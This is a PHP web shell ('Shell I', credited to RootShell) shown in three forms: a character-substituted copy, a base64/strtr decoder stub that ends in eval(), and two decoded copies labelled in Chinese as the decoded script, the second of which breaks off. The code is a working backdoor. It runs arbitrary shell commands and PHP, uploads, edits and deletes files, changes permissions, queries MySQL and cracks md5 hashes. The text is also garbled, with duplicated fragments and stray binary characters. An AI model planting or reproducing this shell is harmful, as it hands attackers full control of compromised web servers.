    <t5xt1r51 c2ls=e0 r2ws=60 n1m5=\"5v1l\">";
    4f(4ss5t($_POST['5v1l']))
    {
     pr4nt htmlsp5c41lch1rs($_POST['5v1l']);
    }
    5ls5
    {
     pr4nt "pr4nt \"Y2 M2mm1\";";
    }
    pr4nt "</t5xt1r51><br>
    <4np3t typ5=s3bm4t v1l35=\"Ev1l\">
    </f2rm>";

    4f(4ss5t($_POST['5v1l']))
    {
     pr4nt "<h6>O3tp3t:</h6>";
     pr4nt "<br>";
     5v1l($_POST['5v1l']);
    }

   br51k;

   c1s5 'chm2d': //Chm2d f4l5


    pr4nt "<h6>Und5r c2nstr3ct42n!</h6>";
    4f(4ss5t($_POST['chm2d']))
    {
    sw4tch ($_POST['chv1l35']){
     c1s5 777:
     chm2d($_POST['chm2d'],0777);
     br51k;
     c1s5 euu:
     chm2d($_POST['chm2d'],0euu);
     br51k;
     c1s5 7ii:
     chm2d($_POST['chm2d'],07ii);
     br51k;
    }
    pr4nt "Ch1ng5d p5rm4ss42ns 2n ".$_POST['chm2d']." t2 ".$_POST['chv1l35'].".";
    }
    4f(4ss5t($_GET['f4l5']))
    {
     $c2nt5nt = 3rld5c2d5($_GET['f4l5']);
    }
    5ls5
    {
     $c2nt5nt = "f4l5/p1th/pl51s5";
    }

    pr4nt "<f2rm 1ct42n=\"".$m5."?p=chm2d&f4l5=".$c2nt5nt."&d4r=".r51lp1th('.')."\" m5th2d=POST><b>F4l5 t2 chm2d:
    <4np3t typ5=t5xt n1m5=chm2d v1l35=\"".$c2nt5nt."\" s4z5=70><br><b>N5w p5rm4ss42n:</b>
    <s5l5ct n1m5=\"chv1l35\">
<2pt42n v1l35=\"777\">777</2pt42n>
<2pt42n v1l35=\"euu\">euu</2pt42n>
<2pt42n v1l35=\"7ii\">7ii</2pt42n>
</s5l5ct><4np3t typ5=s3bm4t v1l35=\"Ch1ng5\">";

   br51k;

   c1s5 'mysql': //MySQL Q35ry

   4f(4ss5t($_POST['h2st']))
   {
    $l4nk = mysql_c2nn5ct($_POST['h2st'], $_POST['3s5rn1m5'], $_POST['mysqlp1ss']) 2r d45('C23ld n2t c2nn5ct: ' . mysql_5rr2r());
    mysql_s5l5ct_db($_POST['db1s5']);
    $sql = $_POST['q35ry'];


    $r5s3lt = mysql_q35ry($sql);

   }
   5ls5
   {
    pr4nt "
    Th4s 2nly q35r45s th5 d1t1b1s5, d25sn't r5t3rn d1t1!<br>
    <f2rm 1ct42n=\"".$m5."?p=mysql\" m5th2d=POST>
    <b>H2st:<br></b><4np3t typ5=t5xt n1m5=h2st v1l35=\"l2c1lh2st\" s4z5=60><br>
    <b>Us5rn1m5:<br><4np3t typ5=t5xt n1m5=3s5rn1m5 v1l35=\"r22t\" s4z5=60><br>
    <b>P1ssw2rd:<br></b><4np3t typ5=p1ssw2rd n1m5=mysqlp1ss v1l35=\"\" s4z5=60><br>
    <b>D1t1b1s5:<br><4np3t typ5=t5xt n1m5=db1s5 v1l35=\"t5st\" s4z5=60><br>

    <b>Q35ry:<br></b<t5xt1r51 n1m5=q35ry></t5xt1r51>
    <4np3t typ5=s3bm4t v1l35=\"Q35ry d1t1b1s5\">
    </f2rm>
    ";

   }

   br51k;

   c1s5 'cr51t5d4r':
   4f(mkd4r($_GET['crd4r']))
   {
   pr4nt 'D4r5ct2ry cr51t5d s3cc5ssf3lly.';
   }
   5ls5
   {
   pr4nt 'C23ldn\'t cr51t5 d4r5ct2ry';
   }
   br51k;


   c1s5 'php4nf2': //PHP Inf2
    php4nf2();
   br51k;


   c1s5 'r5n1m5':

    4f(4ss5t($_POST['f4l52ld']))
    {
     4f(r5n1m5($_POST['f4l52ld'],$_POST['f4l5n5w']))
     {
      pr4nt "F4l5 r5n1m5d.";
     }
     5ls5
     {
      pr4nt "C23ldn't r5n1m5 f4l5.";
     }

    }
    4f(4ss5t($_GET['f4l5']))
    {
     $f4l5 = b1s5n1m5(htmlsp5c41lch1rs($_GET['f4l5']));
    }
    5ls5
    {
     $f4l5 = "";
    }

    pr4nt "R5n1m4ng ".$f4l5." 4n f2ld5r ".r51lp1th('.').".<br>
        <f2rm 1ct42n=\"".$m5."?p=r5n1m5&d4r=".r51lp1th('.')."\" m5th2d=POST>
     <b>R5n1m5:<br></b><4np3t typ5=t5xt n1m5=f4l52ld v1l35=\"".$f4l5."\" s4z5=70><br>
     <b>T2:<br><4np3t typ5=t5xt n1m5=f4l5n5w v1l35=\"\" s4z5=60><br>
     <4np3t typ5=s3bm4t v1l35=\"R5n1m5 f4l5\">
     </f2rm>";
   br51k;

   c1s5 'mdi':
   4f(4ss5t($_POST['mdi']))
   {
   4f(!4s_n3m5r4c($_POST['t4m5l4m4t']))
   {
   $_POST['t4m5l4m4t'] = o0;
   }
   s5t_t4m5_l4m4t($_POST['t4m5l4m4t']);
    4f(strl5n($_POST['mdi']) == oa)
    {

      4f($_POST['ch1rs'] == "9999")
      {
      $4 = 0;
      wh4l5($_POST['mdi'] != mdi($4) && $4 != 600000)
       {
        $4++;
       }
      }
      5ls5
      {
       f2r($4 = "1"; $4 != "zzzzz"; $4++)
       {
        4f(mdi($4 == $_POST['mdi']))
        {
         br51k;
        }
       }
      }

     4f(mdi($4) == $_POST['mdi'])
     {
       pr4nt "<h6>Pl14nt5xt 2f ". $_POST['mdi']. " 4s <4>".$4."</4></h6><br><br>";
     }

    }

   }

   pr4nt "W4ll br3t5f2rc5 th5 mdi
    <f2rm 1ct42n=\"".$m5."?p=mdi\" m5th2d=POST>
    <b>mdi t2 cr1ck:<br></b><4np3t typ5=t5xt n1m5=mdi v1l35=\"\" s4z5=u0><br>
    <b>Ch1r1ct5rs:</b><br><s5l5ct n1m5=\"ch1rs\">
    <2pt42n v1l35=\"1z\">1 - zzzzz</2pt42n>
    <2pt42n v1l35=\"9999\">6 - 9999999</2pt42n>
    </s5l5ct>
    <b>M1x. cr1ck4ng t4m5*:<br></b><4np3t typ5=t5xt n1m5=t4m5l4m4t v1l35=\"o0\" s4z5=a><br>
    <4np3t typ5=s3bm4t v1l35=\"Br3t5f2rc5 mdi\">
    </f2rm><br>*: 4f s5t_t4m5_l4m4t 4s 1ll2w5d by php.4n4";
   br51k;

   c1s5 'h51d5rs':
   f2r51ch(g5t1llh51d5rs() 1s $h51d5r => $v1l35)
   {
   pr4nt htmlsp5c41lch1rs($h51d5r . ":" . $v1l35)."<br>";

   }
   br51k;
  }
}
5ls5 //D5f13lt p1g5 th1t w4ll b5 sh2wn wh5n th5 p1g5 4sn't f23nd 2r n2 p1g5 4s s5l5ct5d.
{

 $f4l5s = 1rr1y();
 $d4r5ct2r45s = 1rr1y();

 4f(4ss5t($_FILES['3pl21d5df4l5']['n1m5']))
{
 $t1rg5t_p1th = r51lp1th('.').'/';
 $t1rg5t_p1th = $t1rg5t_p1th . b1s5n1m5( $_FILES['3pl21d5df4l5']['n1m5']); 
 4f(m2v5_3pl21d5d_f4l5($_FILES['3pl21d5df4l5']['tmp_n1m5'], $t1rg5t_p1th)) {
     pr4nt "F4l5:".  b1s5n1m5( $_FILES['3pl21d5df4l5']['n1m5']). 
     " h1s b55n 3pl21d5d";
 } 5ls5{
     5ch2 "F4l5 3pl21d f14l5d!";
 }
}




 pr4nt "<t1bl5 b2rd5r=0 w4dth=600%><td w4dth=i% 4d=s><b>Opt42ns</b></td><td 4d=s><b>F4l5n1m5</b></td><td 4d=s><b>S4z5</b></td><td 4d=s><b>P5rm4ss42ns</b></td><td 4d=s>L1st m2d4f45d</td><tr>";
 4f ($h1ndl5 = 2p5nd4r('.'))
 {
  wh4l5 (f1ls5 !== ($f4l5 = r51dd4r($h1ndl5))) 
  {
        4f(4s_d4r($f4l5))
     {
    $d4r5ct2r45s[] = $f4l5;
     }
     5ls5
     {
    $f4l5s[] = $f4l5;
     }
  }
 1s2rt($d4r5ct2r45s);
 1s2rt($f4l5s);
  f2r51ch($d4r5ct2r45s 1s $f4l5)
  {
   pr4nt "<td 4d=d><1 hr5f=\"?p=r5n1m5&f4l5=".r51lp1th($f4l5)."&d4r=".r51lp1th('.')."\">[R]</1><1 hr5f=\"?p=d5l5t5&f4l5=".r51lp1th($f4l5)."\">[D]</1></td><td 4d=d><1 hr5f=\"".$m5."?d4r=".r51lp1th($f4l5)."\">".$f4l5."</1></td><td 4d=d></td><td 4d=d><1 hr5f=\"?p=chm2d&d4r=".r51lp1th('.')."&f4l5=".r51lp1th($f4l5)."\"><f2nt c2l2r=".g5t_c2l2r($f4l5).">".p5rm($f4l5)."</f2nt></1></td><td 4d=d>".d1t5 ("Y/m/d, H:4:s", f4l5mt4m5($f4l5))."</td><tr>";
  }

  f2r51ch($f4l5s 1s $f4l5)
  {
   pr4nt "<td 4d=f><1 hr5f=\"?p=r5n1m5&f4l5=".r51lp1th($f4l5)."&d4r=".r51lp1th('.')."\">[R]</1><1 hr5f=\"?p=d5l5t5&f4l5=".r51lp1th($f4l5)."\">[D]</1></td><td 4d=f><1 hr5f=\"".$m5."?p=5d4t&d4r=".r51lp1th('.')."&f4l5=".r51lp1th($f4l5)."\">".$f4l5."</1></td><td 4d=f>".f4l5s4z5($f4l5)."</td><td 4d=f><1 hr5f=\"?p=chm2d&d4r=".r51lp1th('.')."&f4l5=".r51lp1th($f4l5)."\"><f2nt c2l2r=".g5t_c2l2r($f4l5).">".p5rm($f4l5)."</f2nt></1></td><td 4d=f>".d1t5 ("Y/m/d, H:4:s", f4l5mt4m5($f4l5))."</td><tr>";
  }
 }
 5ls5
 {
  pr4nt "<3>Err2r!</3> C1n't 2p5n <b>".r51lp1th('.')."</b>!<br>";
 }

 pr4nt "</t1bl5><hr><t1bl5 b2rd5r=0 w4dth=600%><td><b>Upl21d f4l5</b><br><f2rm 5nctyp5=\"m3lt4p1rt/f2rm-d1t1\" 1ct42n=\"".$m5."?d4r=".r51lp1th('.')."\" m5th2d=\"POST\">
<4np3t typ5=\"h4dd5n\" n1m5=\"MAX_FILE_SIZE\" v1l35=\"600000000\" /><4np3t s4z5=o0 n1m5=\"3pl21d5df4l5\" typ5=\"f4l5\" />
<4np3t typ5=\"s3bm4t\" v1l35=\"Upl21d F4l5\" />
</f2rm></td><td><f2rm 1ct42n=\"".$m5."\" m5th2d=GET><b>Ch1ng5 D4r5ct2ry<br></b><4np3t typ5=t5xt s4z5=u0 n1m5=d4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=s3bm4t v1l35=\"Ch1ng5 D4r5ct2ry\"></f2rm></td>
<tr><td><f2rm 1ct42n=\"".$m5."\" m5th2d=GET><b>Cr51t5 f4l5<br></b><4np3t typ5=h4dd5n n1m5=d4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=t5xt s4z5=u0 n1m5=f4l5 v1l35=\"".r51lp1th('.')."\"><4np3t typ5=h4dd5n n1m5=p v1l35=5d4t><4np3t typ5=s3bm4t v1l35=\"Cr51t5 f4l5\"></f2rm>
</td><td><f2rm 1ct42n=\"".$m5."\" m5th2d=GET><b>Cr51t5 d4r5ct2ry<br></b><4np3t typ5=t5xt s4z5=u0 n1m5=crd4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=h4dd5n n1m5=d4r v1l35=\"".r51lp1th('.')."\"><4np3t typ5=h4dd5n n1m5=p v1l35=cr51t5d4r><4np3t typ5=s3bm4t v1l35=\"Cr51t5 d4r5ct2ry\"></f2rm></td>
</t1bl5>";

}

f3nct42n l2g4n()
{
 pr4nt "<t1bl5 b2rd5r=0 w4dth=600% h54ght=600%><td v1l4gn=\"m4ddl5\"><c5nt5r>
 <f2rm 1ct42n=".b1s5n1m5(__FILE__)." m5th2d=\"POST\"><b>P1ssw2rd?</b>
 <4np3t typ5=\"p1ssw2rd\" m1xl5ngth=\"oa\" n1m5=\"p1ss\"><4np3t typ5=\"s3bm4t\" v1l35=\"L2g4n\">
 </f2rm>";
}
f3nct42n r5l21d()
{
 h51d5r("L2c1t42n: ".b1s5n1m5(__FILE__));
}
f3nct42n g5t_5x5c3t42n_m5th2d()
{
 4f(f3nct42n_5x4sts('p1ssthr3')){ $m = "p1ssthr3"; }
 4f(f3nct42n_5x4sts('5x5c')){ $m = "5x5c"; }
 4f(f3nct42n_5x4sts('sh5ll_5x5c')){ $m = "sh5ll_ 5x5c"; }
 4f(f3nct42n_5x4sts('syst5m')){ $m = "syst5m"; }
 4f(!4ss5t($m)) //N2 m5th2d f23nd :-|
 {
  $m = "D4s1bl5d";
 }
 r5t3rn($m);
}
f3nct42n 5x5c3t5_c2mm1nd($m5th2d,$c2mm1nd)
{
 4f($m5th2d == "p1ssthr3")
 {
  p1ssthr3($c2mm1nd);
 }

 5ls54f($m5th2d == "5x5c")
 {
  5x5c($c2mm1nd,$r5s3lt);
  f2r51ch($r5s3lt 1s $23tp3t)
  {
   pr4nt $23tp3t."<br>";
  }
 }

 5ls54f($m5th2d == "sh5ll_5x5c")
 {
  pr4nt sh5ll_5x5c($c2mm1nd);
 }

 5ls54f($m5th2d == "syst5m")
 {
  syst5m($c2mm1nd);
 }
}
f3nct42n p5rm($f4l5)
{
 4f(f4l5_5x4sts($f4l5))
 {
  r5t3rn s3bstr(spr4ntf('%2', f4l5p5rms($f4l5)), -u);
 }
 5ls5
 {
  r5t3rn "????";
 }
}
f3nct42n g5t_c2l2r($f4l5)
{
4f(4s_wr4t1bl5($f4l5)) { r5t3rn "gr55n";}
4f(!4s_wr4t1bl5($f4l5) && 4s_r51d1bl5($f4l5)) { r5t3rn "wh4t5";}
4f(!4s_wr4t1bl5($f4l5) && !4s_r51d1bl5($f4l5)) { r5t3rn "r5d";}

}
f3nct42n sh2w_d4rs($wh5r5)
{
 4f(5r5g("^c:",r51lp1th($wh5r5)))
 {
 $d4rp1rts = 5xpl2d5('\\',r51lp1th($wh5r5));
 }
 5ls5
 {
 $d4rp1rts = 5xpl2d5('/',r51lp1th($wh5r5));
 }



 $4 = 0;
 $t2t1l = "";

 f2r51ch($d4rp1rts 1s $p1rt)
 {
  $p = 0;
  $pr5 = "";
  wh4l5($p != $4)
  {
   $pr5 .= $d4rp1rts[$p]."/";
   $p++;

  }
  $t2t1l .= "<1 hr5f=\"".b1s5n1m5(__FILE__)."?d4r=".$pr5.$p1rt."\">".$p1rt."</1>/";
  $4++;
 }

 r5t3rn "<ha>".$t2t1l."</ha><br>";
}
pr4nt $f22t5r;
// Ex4t: m1yb5 w5'r5 4ncl3d5d s2m5wh5r5 1nd w5 d2n't w1nt th5 2th5r c2d5 t2 m5ss w4th 23rs :-)
5x4t();
?>
 zِ¥m«ë‡^r‡^$_X=base64_decode($_X);$_X=strtr($_X,'123456aouie','aouie123456');$_R=ereg_replace('__FILE__',"'".$_F."'",$_X);eval($_R);$_R=0;$_X=0;

?>这是解码后的脚本

?><?php
error_reporting(0); //If there is an error, we'll show it, k?
$password = ""; // You can put a md5 string here too, for plaintext passwords: max 31 chars.
$me = basename('the actual path of this script');
$cookiename = "wieeeee";

if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
{
 if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
 {
  $_POST['pass'] = md5($_POST['pass']);
 }
 if($_POST['pass'] == $password)
 {
   setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
 }
 reload();
}

if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
{
 login();
 die();
}
//
//Do not cross this line! All code placed after this block can't be executed without being logged in!
//
if(isset($_GET['p']) && $_GET['p'] == "logout")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
 chdir($_GET['dir']);
}

$pages = array(
 'cmd' => 'Execute Command',
 'eval' => 'Evaluate PHP',
 'mysql' => 'MySQL Query',
 'chmod' => 'Chmod File',
 'phpinfo' => 'PHPinfo',
 'md5' => 'md5 cracker',
 'headers' => 'Show headers',
 'logout' => 'Log out'
);
//The header, like it?
$header = '<html>
<title>'.getenv("HTTP_HOST").' ~ Shell I</title>
<head>
<style>
td {
 font-size: 12px; 
 font-family: verdana;
 color: #33FF00;
 background: #000000;
}
#d {
 background: #003000;
}
#f {
 background: #003300;
}
#s {
 background: #006300;
}
#d:hover
{
 background: #003300;
}
#f:hover
{
 background: #003000;
}
pre {
 font-size: 10px; 
 font-family: verdana;
 color: #33FF00;
}
a:hover {
text-decoration: none;
}

input,textarea,select {
 border-top-width: 1px; 
 font-weight: bold; 
 border-left-width: 1px; 
 font-size: 10px; 
 border-left-color: #33FF00; 
 background: #000000; 
 border-bottom-width: 1px; 
 border-bottom-color: #33FF00; 
 color: #33FF00; 
 border-top-color: #33FF00; 
 font-family: verdana; 
 border-right-width: 1px; 
 border-right-color: #33FF00;
}
hr {
color: #33FF00;
background-color: #33FF00;
height: 5px;
}
</style>
</head>
<body bgcolor=black alink="#33CC00" vlink="#339900" link="#339900">
<table width=100%><td id="header" width=100%>
<p align=right><b>[<a href="http://www.rootshell-team.info">RootShell</a>]  [<a href="'.$me.'">Home</a>] ';
foreach($pages as $page => $page_name)
{
 $header .= ' [<a href="?p='.$page.'&dir='.realpath('.').'">'.$page_name.'</a>] ';
}
$header .= '<br><hr>'.show_dirs('.').'</td><tr><td>';
print $header;
$footer = '<tr><td><hr><center>&copy; <a href="http://www.ironwarez.info">Iron</a> & <a href="http://www.rootshell-team.info">RootShell Security Group</a></center></td></table></body></head></html>';

//
//Page handling
//
if(isset($_REQUEST['p']))
{
  switch ($_REQUEST['p']) {

   case 'cmd': //Run command

    print "<form action=\"".$me."?p=cmd&dir=".realpath('.')."\" method=POST><b>Command:</b><input type=text name=command><input type=submit value=\"Execute\"></form>";
     if(isset($_REQUEST['command']))
     {
      print "<pre>";
      execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
     }
   break;


   case 'edit': //Edit a fie
    if(isset($_POST['editform']))
    {
     $f = $_GET['file'];
     $fh = fopen($f, 'w') or print "Error while opening file!";
     fwrite($fh, $_POST['editform']) or print "Couldn't save file!";
     fclose($fh);
    }
    print "Editing file <b>".$_GET['file']."</b> (".perm($_GET['file']).")<br><br><form action=\"".$me."?p=edit&file=".$_GET['file']."&dir=".realpath('.')."\" method=POST><textarea cols=90 rows=15 name=\"editform\">";

    if(file_exists($_GET['file']))
    {
     $rd = file($_GET['file']);
     foreach($rd as $l)
     {
      print htmlspecialchars($l);
     }
    }

    print "</textarea><input type=submit value=\"Save\"></form>";

   break;

   case 'delete': //Delete a file

    if(isset($_POST['yes']))
    {
     if(unlink($_GET['file']))
     {
      print "File deleted successfully.";
     }
     else
     {
      print "Couldn't delete file.";
     }
    }


    if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes']))
    {
     print "Are you sure you want to delete ".$_GET['file']."?<br>
     <form action=\"".$me."?p=delete&file=".$_GET['file']."\" method=POST>
     <input type=hidden name=yes value=yes>
     <input type=submit value=\"Delete\">
     ";
    }


   break;


   case 'eval': //Evaluate PHP code

    print "<form action=\"".$me."?p=eval\" method=POST>
    <textarea cols=60 rows=10 name=\"eval\">";
    if(isset($_POST['eval']))
    {
     print htmlspecialchars($_POST['eval']);
    }
    else
    {
     print "print \"Yo Momma\";";
    }
    print "</textarea><br>
    <input type=submit value=\"Eval\">
    </form>";

    if(isset($_POST['eval']))
    {
     print "<h1>Output:</h1>";
     print "<br>";
     eval($_POST['eval']);
    }

   break;

   case 'chmod': //Chmod file


    print "<h1>Under construction!</h1>";
    if(isset($_POST['chmod']))
    {
    switch ($_POST['chvalue']){
     case 777:
     chmod($_POST['chmod'],0777);
     break;
     case 644:
     chmod($_POST['chmod'],0644);
     break;
     case 755:
     chmod($_POST['chmod'],0755);
     break;
    }
    print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue'].".";
    }
    if(isset($_GET['file']))
    {
     $content = urldecode($_GET['file']);
    }
    else
    {
     $content = "file/path/please";
    }

    print "<form action=\"".$me."?p=chmod&file=".$content."&dir=".realpath('.')."\" method=POST><b>File to chmod:
    <input type=text name=chmod value=\"".$content."\" size=70><br><b>New permission:</b>
    <select name=\"chvalue\">
<option value=\"777\">777</option>
<option value=\"644\">644</option>
<option value=\"755\">755</option>
</select><input type=submit value=\"Change\">";

   break;

   case 'mysql': //MySQL Query

   if(isset($_POST['host']))
   {
    $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error());
    mysql_select_db($_POST['dbase']);
    $sql = $_POST['query'];


    $result = mysql_query($sql);

   }
   else
   {
    print "
    This only queries the database, doesn't return data!<br>
    <form action=\"".$me."?p=mysql\" method=POST>
    <b>Host:<br></b><input type=text name=host value=\"localhost\" size=10><br>
    <b>Username:<br><input type=text name=username value=\"root\" size=10><br>
    <b>Password:<br></b><input type=password name=mysqlpass value=\"\" size=10><br>
    <b>Database:<br><input type=text name=dbase value=\"test\" size=10><br>

    <b>Query:<br></b<textarea name=query></textarea>
    <input type=submit value=\"Query database\">
    </form>
    ";

   }

   break;

   case 'createdir':
   if(mkdir($_GET['crdir']))
   {
   print 'Directory created successfully.';
   }
   else
   {
   print 'Couldn\'t create directory';
   }
   break;


   case 'phpinfo': //PHP Info
    phpinfo();
   break;


   case 'rename':

    if(isset($_POST['fileold']))
    {
     if(rename($_POST['fileold'],$_POST['filenew']))
     {
      print "File renamed.";
     }
     else
     {
      print "Couldn't rename file.";
     }

    }
    if(isset($_GET['file']))
    {
     $file = basename(htmlspecialchars($_GET['file']));
    }
    else
    {
     $file = "";
    }

    print "Renaming ".$file." in folder ".realpath('.').".<br>
        <form action=\"".$me."?p=rename&dir=".realpath('.')."\" method=POST>
     <b>Rename:<br></b><input type=text name=fileold value=\"".$file."\" size=70><br>
     <b>To:<br><input type=text name=filenew value=\"\" size=10><br>
     <input type=submit value=\"Rename file\">
     </form>";
   break;

   case 'md5':
   if(isset($_POST['md5']))
   {
   if(!is_numeric($_POST['timelimit']))
   {
   $_POST['timelimit'] = 30;
   }
   set_time_limit($_POST['timelimit']);
    if(strlen($_POST['md5']) == 32)
    {

      if($_POST['chars'] == "9999")
      {
      $i = 0;
      while($_POST['md5'] != md5($i) && $i != 100000)
       {
        $i++;
       }
      }
      else
      {
       for($i = "a"; $i != "zzzzz"; $i++)
       {
        if(md5($i == $_POST['md5']))
        {
         break;
        }
       }
      }

     if(md5($i) == $_POST['md5'])
     {
       print "<h1>Plaintext of ". $_POST['md5']. " is <i>".$i."</i></h1><br><br>";
     }

    }

   }

   print "Will bruteforce the md5
    <form action=\"".$me."?p=md5\" method=POST>
    <b>md5 to crack:<br></b><input type=text name=md5 value=\"\" size=40><br>
    <b>Characters:</b><br><select name=\"chars\">
    <option value=\"az\">a - zzzzz</option>
    <option value=\"9999\">1 - 9999999</option>
    </select>
    <b>Max. cracking time*:<br></b><input type=text name=timelimit value=\"30\" size=2><br>
    <input type=submit value=\"Bruteforce md5\">
    </form><br>*: if set_time_limit is allowed by php.ini";
   break;

   case 'headers':
   foreach(getallheaders() as $header => $value)
   {
   print htmlspecialchars($header . ":" . $value)."<br>";

   }
   break;
  }
}
else //Default page that will be shown when the page isn't found or no page is selected.
{

 $files = array();
 $directories = array();

 if(isset($_FILES['uploadedfile']['name']))
{
 $target_path = realpath('.').'/';
 $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); 
 if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
     print "File:".  basename( $_FILES['uploadedfile']['name']). 
     " has been uploaded";
 } else{
     echo "File upload failed!";
 }
}




 print "<table border=0 width=100%><td width=5% id=s><b>Options</b></td><td id=s><b>Filename</b></td><td id=s><b>Size</b></td><td id=s><b>Permissions</b></td><td id=s>Last modified</td><tr>";
 if ($handle = opendir('.'))
 {
  while (false !== ($file = readdir($handle))) 
  {
        if(is_dir($file))
     {
    $directories[] = $file;
     }
     else
     {
    $files[] = $file;
     }
  }
 asort($directories);
 asort($files);
  foreach($directories as $file)
  {
   print "<td id=d><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=d><a href=\"".$me."?dir=".realpath($file)."\">".$file."</a></td><td id=d></td><td id=d><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=d>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  }

  foreach($files as $file)
  {
   print "<td id=f><a href=\"?p=rename&file=".realpath($file)."&dir=".realpath('.')."\">[R]</a><a href=\"?p=delete&file=".realpath($file)."\">[D]</a></td><td id=f><a href=\"".$me."?p=edit&dir=".realpath('.')."&file=".realpath($file)."\">".$file."</a></td><td id=f>".filesize($file)."</td><td id=f><a href=\"?p=chmod&dir=".realpath('.')."&file=".realpath($file)."\"><font color=".get_color($file).">".perm($file)."</font></a></td><td id=f>".date ("Y/m/d, H:i:s", filemtime($file))."</td><tr>";
  }
 }
 else
 {
  print "<u>Error!</u> Can't open <b>".realpath('.')."</b>!<br>";
 }

 print "</table><hr><table border=0 width=100%><td><b>Upload file</b><br><form enctype=\"multipart/form-data\" action=\"".$me."?dir=".realpath('.')."\" method=\"POST\">
<input type=\"hidden\" name=\"MAX_FILE_SIZE\" value=\"100000000\" /><input size=30 name=\"uploadedfile\" type=\"file\" />
<input type=\"submit\" value=\"Upload File\" />
</form></td><td><form action=\"".$me."\" method=GET><b>Change Directory<br></b><input type=text size=40 name=dir value=\"".realpath('.')."\"><input type=submit value=\"Change Directory\"></form></td>
<tr><td><form action=\"".$me."\" method=GET><b>Create file<br></b><input type=hidden name=dir value=\"".realpath('.')."\"><input type=text size=40 name=file value=\"".realpath('.')."\"><input type=hidden name=p value=edit><input type=submit value=\"Create file\"></form>
</td><td><form action=\"".$me."\" method=GET><b>Create directory<br></b><input type=text size=40 name=crdir value=\"".realpath('.')."\"><input type=hidden name=dir value=\"".realpath('.')."\"><input type=hidden name=p value=createdir><input type=submit value=\"Create directory\"></form></td>
</table>";

}

function login()
{
 print "<table border=0 width=100% height=100%><td valign=\"middle\"><center>
 <form action=".basename('the actual path of this script')." method=\"POST\"><b>Password?</b>
 <input type=\"password\" maxlength=\"32\" name=\"pass\"><input type=\"submit\" value=\"Login\">
 </form>";
}
function reload()
{
 header("Location: ".basename('the actual path of this script'));
}
function get_execution_method()
{
 if(function_exists('passthru')){ $m = "passthru"; }
 if(function_exists('exec')){ $m = "exec"; }
 if(function_exists('shell_exec')){ $m = "shell_ exec"; }
 if(function_exists('system')){ $m = "system"; }
 if(!isset($m)) //No method found :-|
 {
  $m = "Disabled";
 }
 return($m);
}
function execute_command($method,$command)
{
 if($method == "passthru")
 {
  passthru($command);
 }

 elseif($method == "exec")
 {
  exec($command,$result);
  foreach($result as $output)
  {
   print $output."<br>";
  }
 }

 elseif($method == "shell_exec")
 {
  print shell_exec($command);
 }

 elseif($method == "system")
 {
  system($command);
 }
}
function perm($file)
{
 if(file_exists($file))
 {
  return substr(sprintf('%o', fileperms($file)), -4);
 }
 else
 {
  return "????";
 }
}
function get_color($file)
{
if(is_writable($file)) { return "green";}
if(!is_writable($file) && is_readable($file)) { return "white";}
if(!is_writable($file) && !is_readable($file)) { return "red";}

}
function show_dirs($where)
{
 if(ereg("^c:",realpath($where)))
 {
 $dirparts = explode('\\',realpath($where));
 }
 else
 {
 $dirparts = explode('/',realpath($where));
 }



 $i = 0;
 $total = "";

 foreach($dirparts as $part)
 {
  $p = 0;
  $pre = "";
  while($p != $i)
  {
   $pre .= $dirparts[$p]."/";
   $p++;

  }
  $total .= "<a href=\"".basename('the actual path of this script')."?dir=".$pre.$part."\">".$part."</a>/";
  $i++;
 }

 return "<h2>".$total."</h2><br>";
}
print $footer;
// Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-)
exit();
?>

?>这是解码后的脚本

?><?php
error_reporting(0); //If there is an error, we'll show it, k?
$password = ""; // You can put a md5 string here too, for plaintext passwords: max 31 chars.
$me = basename('the actual path of this script');
$cookiename = "wieeeee";

if(isset($_POST['pass'])) //If the user made a login attempt, "pass" will be set eh?
{
 if(strlen($password) == 32) //If the length of the password is 32 characters, threat it as an md5.
 {
  $_POST['pass'] = md5($_POST['pass']);
 }
 if($_POST['pass'] == $password)
 {
   setcookie($cookiename, $_POST['pass'], time()+3600); //It's alright, let hem in
 }
 reload();
}

if(!empty($password) && !isset($_COOKIE[$cookiename]) or ($_COOKIE[$cookiename] != $password))
{
 login();
 die();
}
//
//Do not cross this line! All code placed after this block can't be executed without being logged in!
//
if(isset($_GET['p']) && $_GET['p'] == "logout")
{
setcookie ($cookiename, "", time() - 3600);
reload();
}
if(isset($_GET['dir']))
{
 chdir($_GET['dir']);
}

$pages = array(
 'cmd' => 'Execute Command',
 'eval' => 'Evaluate PHP',
 'mysql' => 'MySQL Query',
 'chmod' => 'Chmod File',
 'phpinfo' => 'PHPinfo',
 'md5' => 'md5 cracker',
 'headers' => 'Show headers',
 'logout' => 'Log out'
);
//The header, like it?
$header = '<html>
<title>'.getenv("HTTP_HOST").' ~ Shell I</title>
<head>
<style>
td {
 font-size: 12px; 
 font-family: verdana;
 color: #33FF00;
 background: #000000;
}
#d {
 background: #003000;
}
#f {
 background: #003300;
}
#s {
 background: #006300;
}
#d:hover
{
 background: #003300;
}
#f:hover
{
 background: #003000;
}
pre {
 font-size: 10px; 
 font-family: verdana;
 color: #33FF00;
}
a:hover {
text-decoration: none;
}

input,textarea,select {
 border-top-width: 1px; 
 font-weight: bold; 
 border-left-width: 1px; 
 font-size: 10px; 
 border-left-color: #33FF00; 
 background: #000000; 
 border-bottom-width: 1px; 
 border-bottom-color: #33FF00; 
 color: #33FF00; 
 border-top-color: #33FF00; 
 font-family: verdana; 
